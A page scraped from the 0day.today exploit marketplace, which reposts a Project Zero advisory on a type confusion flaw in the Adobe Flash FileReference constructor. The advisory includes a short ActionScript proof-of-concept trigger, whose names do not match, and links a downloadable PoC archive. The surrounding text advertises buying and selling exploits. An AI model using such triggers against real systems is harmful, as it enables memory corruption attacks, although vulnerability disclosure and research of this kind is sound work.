0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Adobe Flash - Type Confusion in FileReference Constructor
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799
There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
A minimal PoC is as follows:
function myfunc(){
this.__proto__ = {};
this.__proto__.__constructor__ = flash.display.BitmapData;
super(1000, 1000);
}
function mysubclass(){
this.watch("name", myfunc);
_global.ASnative(2204, 200)(this); // FileReference constructor
this.unwatch("name"); // let the reference free
}
}
var a = new subclass();
a = 0;
// wait for GC
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39829.zip
# 0day.today [2024-11-15] #